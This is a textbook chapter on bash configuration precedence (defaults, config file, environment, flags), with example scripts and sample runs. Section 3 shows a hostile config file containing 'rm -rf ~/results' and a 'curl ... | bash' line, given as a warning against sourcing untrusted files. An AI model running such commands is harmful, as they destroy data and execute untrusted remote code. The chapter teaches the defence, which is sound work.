Configuration: Defaults, Environment and Flags

Part I · Module 21 · Chapter 21.3 · Configuration: Defaults, Environment and Flags

A tool needs to know how many seeds to run. There are four places that could say, and they will disagree.

1. The Order, and Why It Is That Order

Default, then config file, then environment, then flag. That ordering is near-universal across Unix tools, and the reason is that each layer is more specific to this invocation than the one before:

So the rule is simply narrower scope wins, and every layer is overridable by someone closer to the actual run. A tool that inverted any pair of those would be unusable: a config file that beat a flag would mean you could not try something once, and a default that beat the environment would mean the tool could not be configured at all.

Every setting needs a default, because that is what makes the tool runnable with no setup. A tool that requires a config file before it will do anything is a tool nobody evaluates.

2. Four Layers in Twelve Lines

#!/usr/bin/env bash
set -o nounset

# 1. defaults
seeds=1
outdir=./out
sim=vcs

# 2. a config file, if there is one
conf=${CONF:-./tool.conf}
if [ -r "$conf" ]; then . "$conf"; fi

# 3. the environment overrides the file
seeds=${TOOL_SEEDS:-$seeds}
outdir=${TOOL_OUTDIR:-$outdir}
sim=${TOOL_SIM:-$sim}

# 4. flags override everything
while getopts ':s:o:S:' opt; do
  case $opt in
    s) seeds=$OPTARG ;;
    o) outdir=$OPTARG ;;
    S) sim=$OPTARG ;;
    \?) echo "unknown -$OPTARG" >&2; exit 2 ;;
    :)  echo "-$OPTARG needs a value" >&2; exit 2 ;;
  esac
done
shift $(( OPTIND - 1 ))

printf 'seeds=%s outdir=%s sim=%s\n' "$seeds" "$outdir" "$sim"

Measured, one layer at a time:

$ ./cfg.sh
seeds=1 outdir=./out sim=vcs

$ printf 'seeds=5\nsim=xrun\n' > tool.conf
$ ./cfg.sh
seeds=5 outdir=./out sim=xrun

$ TOOL_SEEDS=9 ./cfg.sh
seeds=9 outdir=./out sim=xrun

$ TOOL_SEEDS=9 ./cfg.sh -s 42
seeds=42 outdir=./out sim=xrun

Each layer replaced the one before it, and outdir stayed at its default throughout because nothing ever mentioned it.

And the layers are per setting, not per config. One run, three different sources:

$ TOOL_SIM=questa ./cfg.sh -s 7
seeds=7 outdir=./out sim=questa

seeds from the flag, sim from the environment, outdir from the default — simultaneously. That is what "overrides only what it mentions" buys, and it is why the ${TOOL_SEEDS:-$seeds} form matters: it reads "the environment variable, or whatever we had", so an unset variable leaves the previous layer intact rather than blanking it.

3. Sourcing a Config File, and Not Sourcing One

. "$conf" is the shortest way to read a config file and it has Chapter 18.6 §2's problem in full: a sourced file is your script's code, so a config file can do anything a script can.

# tool.conf — looks like data
seeds=5
sim=xrun

# tool.conf — is not data
seeds=5
rm -rf ~/results
curl -s http://example.com/x | bash

Both are valid, both get executed, and nothing about . "$conf" distinguishes them. For a file you and your team wrote and checked into the project, that is usually an acceptable risk and it buys real convenience — comments, arithmetic, conditionals. For a file that arrives from anywhere else it is not a risk at all, it is an invitation.

The safer form reads the file as data:

read_conf() {
  local file=$1 key val
  [ -r "$file" ] || return 0
  while IFS= read -r line || [ -n "$line" ]; do
    case $line in ''|\#*) continue ;; esac
    key=${line%%=*}
    val=${line#*=}
    # only keys we actually recognise
    case $key in
      seeds|outdir|sim) printf -v "$key" '%s' "$val" ;;
      *) printf '%s: %s: unknown setting: %s\n' "${0##*/}" "$file" "$key" >&2 ;;
    esac
  done < "$file"
}
read_conf "$conf"

Chapter 17.5's read loop, Chapter 8.3's %%=* and #*= to split on the first =, and Chapter 18.4's printf -v to assign to a name chosen at run time. Twelve lines, and now a config file can set exactly three things and nothing else — an unknown key is reported rather than executed.

Which to use: source it when the file is part of your project and written by people with commit access anyway; parse it when the file comes from a user's home directory, a shared mount, or anywhere a different trust boundary applies. The decision is about who can write the file, not about convenience.

4. Naming the Environment Variables

A tool reading bare names from the environment is a tool that collides:

seeds=${SEEDS:-$seeds}            # whose SEEDS?
outdir=${OUTDIR:-$outdir}         # three tools in one shell, one OUTDIR

Prefix them with the tool's name, exactly as Chapter 18.6 §3 argued for library functions:

seeds=${RUNSUITE_SEEDS:-$seeds}
outdir=${RUNSUITE_OUTDIR:-$outdir}

Verbose, and it means a setup.sh that exports settings for four tools cannot have them interfere. It also makes the variables greppable — env | grep RUNSUITE_ is a complete answer to "what is configured".

Two conventions worth following:

Document them in the help text. An environment variable nobody knows about is not configuration, it is a trap:

Environment:
  RUNSUITE_SEEDS    default seeds per test (overridden by -s)
  RUNSUITE_OUTDIR   default output directory (overridden by -o)
  RUNSUITE_CONF     config file to read (default ./tool.conf)

And honour the standard ones where they apply rather than inventing your own: TMPDIR (Chapter 20.6), PAGER, EDITOR, NO_COLOR, TZ. A tool that writes scratch files somewhere other than $TMPDIR because it has its own MYTOOL_TMP is being unhelpful for no gain.

5. Say Where a Setting Came From

The single most useful diagnostic a configurable tool can offer, and it costs one variable per setting:

seeds=1;     src_seeds=default
[ -r ./tool.conf ] && { . ./tool.conf; [ "${seeds:-1}" != 1 ] && src_seeds=config; }
[ -n "${TOOL_SEEDS:-}" ] && { seeds=$TOOL_SEEDS; src_seeds=environment; }
while getopts ':s:' o; do case $o in s) seeds=$OPTARG; src_seeds=flag ;; esac; done

show() { printf '  %-8s %-10s from %s\n' "$1" "$2" "$3"; }
show seeds "$seeds" "$src_seeds"

$ ./whence.sh
  seeds    5              from config

$ TOOL_SEEDS=9 ./whence.sh
  seeds    9              from environment

$ TOOL_SEEDS=9 ./whence.sh -s 42
  seeds    42             from flag

Behind a --show-config flag, that turns "why is it running 9 seeds on my machine and 1 on yours" from an afternoon into one command. It is the configuration equivalent of Chapter 20.8's trace: not what is the value but where did the value come from.

6. A Complete Script

Four layers, prefixed variables, a parsed config file, and --show-config:

#!/usr/bin/env bash
# runsuite — run a test suite, configured from four places
#
# usage: runsuite [-v] [-s SEEDS] [-o OUTDIR] [-S SIM] [--show-config] <testlist>
#
# Environment:
#   RUNSUITE_SEEDS   seeds per test       (overridden by -s)
#   RUNSUITE_OUTDIR  output directory     (overridden by -o)
#   RUNSUITE_SIM     simulator            (overridden by -S)
#   RUNSUITE_CONF    config file to read  (default ./runsuite.conf)
#
# Config file: one key=value per line; blanks and # comments ignored.
#              Recognised keys: seeds, outdir, sim
#
# exit: 0 ok · 2 bad invocation or configuration

set -o errexit
set -o nounset
set -o pipefail

note()  { printf '%s: %s\n' "${0##*/}" "$*" >&2; }
usage() { printf 'usage: %s [-v] [-s SEEDS] [-o OUTDIR] [-S SIM] [--show-config] <testlist>\n' "${0##*/}" >&2; }
die()   { note "$*"; usage; exit 2; }

# ---- layer 1: defaults ---------------------------------------------------

seeds=1;      src_seeds=default
outdir=./out; src_outdir=default
sim=vcs;      src_sim=default
verbose=0
show_config=0

# ---- layer 2: a config file, parsed as data ------------------------------

conf=${RUNSUITE_CONF:-./runsuite.conf}

read_conf() {
  local file=$1 line key val
  [ -r "$file" ] || return 0
  while IFS= read -r line || [ -n "$line" ]; do
    case $line in ''|\#*) continue ;; esac
    case $line in *=*) ;; *) note "$file: ignoring malformed line: $line"; continue ;; esac
    key=${line%%=*}
    val=${line#*=}
    case $key in
      seeds)  seeds=$val;  src_seeds=config  ;;
      outdir) outdir=$val; src_outdir=config ;;
      sim)    sim=$val;    src_sim=config    ;;
      *)      note "$file: unknown setting: $key" ;;
    esac
  done < "$file"
}
read_conf "$conf"

# ---- layer 3: the environment -------------------------------------------

[ -z "${RUNSUITE_SEEDS:-}"  ] || { seeds=$RUNSUITE_SEEDS;   src_seeds=environment;  }
[ -z "${RUNSUITE_OUTDIR:-}" ] || { outdir=$RUNSUITE_OUTDIR; src_outdir=environment; }
[ -z "${RUNSUITE_SIM:-}"    ] || { sim=$RUNSUITE_SIM;       src_sim=environment;    }

# ---- layer 4: flags ------------------------------------------------------

declare -a argv=()
for a in "$@"; do
  case $a in
    --show-config) argv+=(-C) ;;
    *)             argv+=("$a") ;;
  esac
done
[ "${#argv[@]}" -eq 0 ] || set -- "${argv[@]}"

while getopts ':vCs:o:S:' opt; do
  case $opt in
    v)  verbose=1 ;;
    C)  show_config=1 ;;
    s)  seeds=$OPTARG;  src_seeds=flag  ;;
    o)  outdir=$OPTARG; src_outdir=flag ;;
    S)  sim=$OPTARG;    src_sim=flag    ;;
    \?) die "unknown option: -$OPTARG" ;;
    :)  die "option -$OPTARG needs a value" ;;
  esac
done
shift $(( OPTIND - 1 ))

# ---- report, or validate and run ----------------------------------------

if [ "$show_config" -eq 1 ]; then
  printf 'config file: %s%s\n' "$conf" "$( [ -r "$conf" ] && echo '' || echo '  (not readable)' )"
  printf '  %-8s %-14s from %s\n' seeds  "$seeds"  "$src_seeds"
  printf '  %-8s %-14s from %s\n' outdir "$outdir" "$src_outdir"
  printf '  %-8s %-14s from %s\n' sim    "$sim"    "$src_sim"
  exit 0
fi

[ $# -eq 1 ] || { usage; exit 2; }
testlist=$1

[ "$seeds" -ge 1 ] 2>/dev/null || die "seeds must be a positive integer, got: $seeds (from $src_seeds)"
[ -r "$testlist" ]            || die "cannot read testlist: $testlist"

[ "$verbose" -eq 0 ] || note "sim=$sim seeds=$seeds outdir=$outdir"
printf 'would run %s with %s seed(s) into %s\n' "$sim" "$seeds" "$outdir"

$ printf 'smoke\n' > tests.txt

$ ./runsuite --show-config
config file: ./runsuite.conf  (not readable)
  seeds    1              from default
  outdir   ./out          from default
  sim      vcs            from default

$ printf '# the team default\nseeds=5\nsim=xrun\n' > runsuite.conf
$ ./runsuite --show-config
config file: ./runsuite.conf
  seeds    5              from config
  outdir   ./out          from default
  sim      xrun           from config

$ RUNSUITE_SEEDS=9 ./runsuite --show-config
config file: ./runsuite.conf
  seeds    9              from environment
  outdir   ./out          from default
  sim      xrun           from config

$ RUNSUITE_SEEDS=9 ./runsuite -s 42 --show-config
config file: ./runsuite.conf
  seeds    42             from flag
  outdir   ./out          from default
  sim      xrun           from config

$ printf 'seeds=5\nnonsense=1\nbroken line\n' > runsuite.conf
$ ./runsuite --show-config
runsuite: ./runsuite.conf: unknown setting: nonsense
runsuite: ./runsuite.conf: ignoring malformed line: broken line
config file: ./runsuite.conf
  seeds    5              from config
  outdir   ./out          from default
  sim      vcs            from default

$ printf 'seeds=lots\n' > runsuite.conf
$ ./runsuite tests.txt
runsuite: seeds must be a positive integer, got: lots (from config)
usage: runsuite [-v] [-s SEEDS] [-o OUTDIR] [-S SIM] [--show-config] <testlist>
$ echo $?
2

$ ./runsuite --show-config
config file: ./runsuite.conf
  seeds    lots           from config
  outdir   ./out          from default
  sim      vcs            from default
$ echo $?
0

$ printf 'sim=xrun\n' > runsuite.conf
$ RUNSUITE_OUTDIR=/tmp/o ./runsuite -s 7 --show-config
config file: ./runsuite.conf
  seeds    7              from flag
  outdir   /tmp/o         from environment
  sim      xrun           from config

The last two are the point of the chapter. --show-config still works on a configuration that would be rejected, which is when you need it; and the final run takes one value from each of three layers at once, with the report naming all three.

Six decisions:

--show-config exists and exits before validation. It has to work on a broken configuration, which is exactly when you want it — so it prints and exits before the numeric check that would reject seeds=lots.

The error message names the source. got: lots (from config) tells the user which of four places to go and edit. Without src_seeds they would check their command line first, which is the one place it was not.

The config file is parsed, not sourced, so nonsense=1 is reported and rm -rf ~ would be too. The cost is twelve lines and no arithmetic in the config file.

Every environment variable is prefixed RUNSUITE_ and documented in the header. Chapter 18.6's namespace argument, applied to the environment.

[ -z "${VAR:-}" ] || { ... } rather than seeds=${RUNSUITE_SEEDS:-$seeds}, because the source has to be recorded as well as the value. The :- inside is still doing Chapter 8.2's job of surviving set -u.

A malformed line is a warning, not a fatal error. A config file with one bad line should not stop a run — but it must say something, or the setting silently does not apply. Chapter 17.6's rule about when a continue should be silent.

Practice

1. Build the twelve-line cfg.sh from §2. Run it with no config, then with a config, then with an environment variable, then with a flag. Confirm each layer wins.
2. In one run, set one value by flag and a different one by environment. Confirm both apply, and explain what makes that possible.
3. Replace ${TOOL_SEEDS:-$seeds} with ${TOOL_SEEDS-$seeds} and run with TOOL_SEEDS= (empty). What is seeds now?
4. Replace it with seeds=$TOOL_SEEDS and run with the variable unset under set -u. What happens?
5. Write a config file that sets a value and also runs echo PWNED. Source it. Then write the read_conf parser and confirm it reports the unknown key instead.
6. Add a fourth recognised key to read_conf. How many places did you change, and would sourcing have been fewer?
7. Rename a tool's environment variables to add a prefix. Then run env | grep PREFIX_ and say why that is worth the verbosity.
8. Add --show-config to a script of your own. Put it before the validation and explain why that order matters.
9. Give runsuite a config file with seeds=lots and run it two ways: with --show-config and with a testlist. Compare what each tells you.
10. Add a --where-from seeds mode that prints only one setting's source. Decide whether it earns its place over --show-config.

Check Your Understanding

1. What is the precedence order, lowest to highest?
2. What is the single rule that explains that order?
3. Why does every setting need a default?
4. Why ${VAR:-$current} rather than ${VAR-$current}?
5. What can a sourced config file do that a parsed one cannot?
6. Why prefix the environment variables?
7. Why should --show-config run before validation?

7. Remember

• Default, then config file, then environment, then flag. Narrower scope wins.
• Every setting needs a default so the tool runs with no setup.
• Each layer overrides only what it mentions, so one run can take values from three sources at once.
• ${VAR:-$current}, with the colon. The colonless form lets an empty value blank the setting.
• Never setting=$VAR directly — an unset variable blanks it, and aborts under set -u.
• A sourced config file is code. Source it only when the writers already have commit access; otherwise parse it as key=value.
• Parsing also lets you record which keys the file set, which sourcing cannot.
• Prefix every environment variable with the tool's name, and document them in the help text.
• Honour the standard variables — TMPDIR, PAGER, EDITOR, NO_COLOR — rather than inventing private ones.
• Track the source of each setting and name it in error messages: got: lots (from config).
• --show-config before validation, because you need it most when the configuration is wrong.
• A malformed config line is a warning, not a fatal error — but it must not be silent.

Chapter 21.4 takes the other half of the interface. Flags and settings are what goes in; the exit status is what comes out, and it is the only part of a tool's output that an automated caller can branch on.

• The same precedence applied to a whole flow is Chapter 35.2, where a loader that ignored its own documented order let a file beat the environment.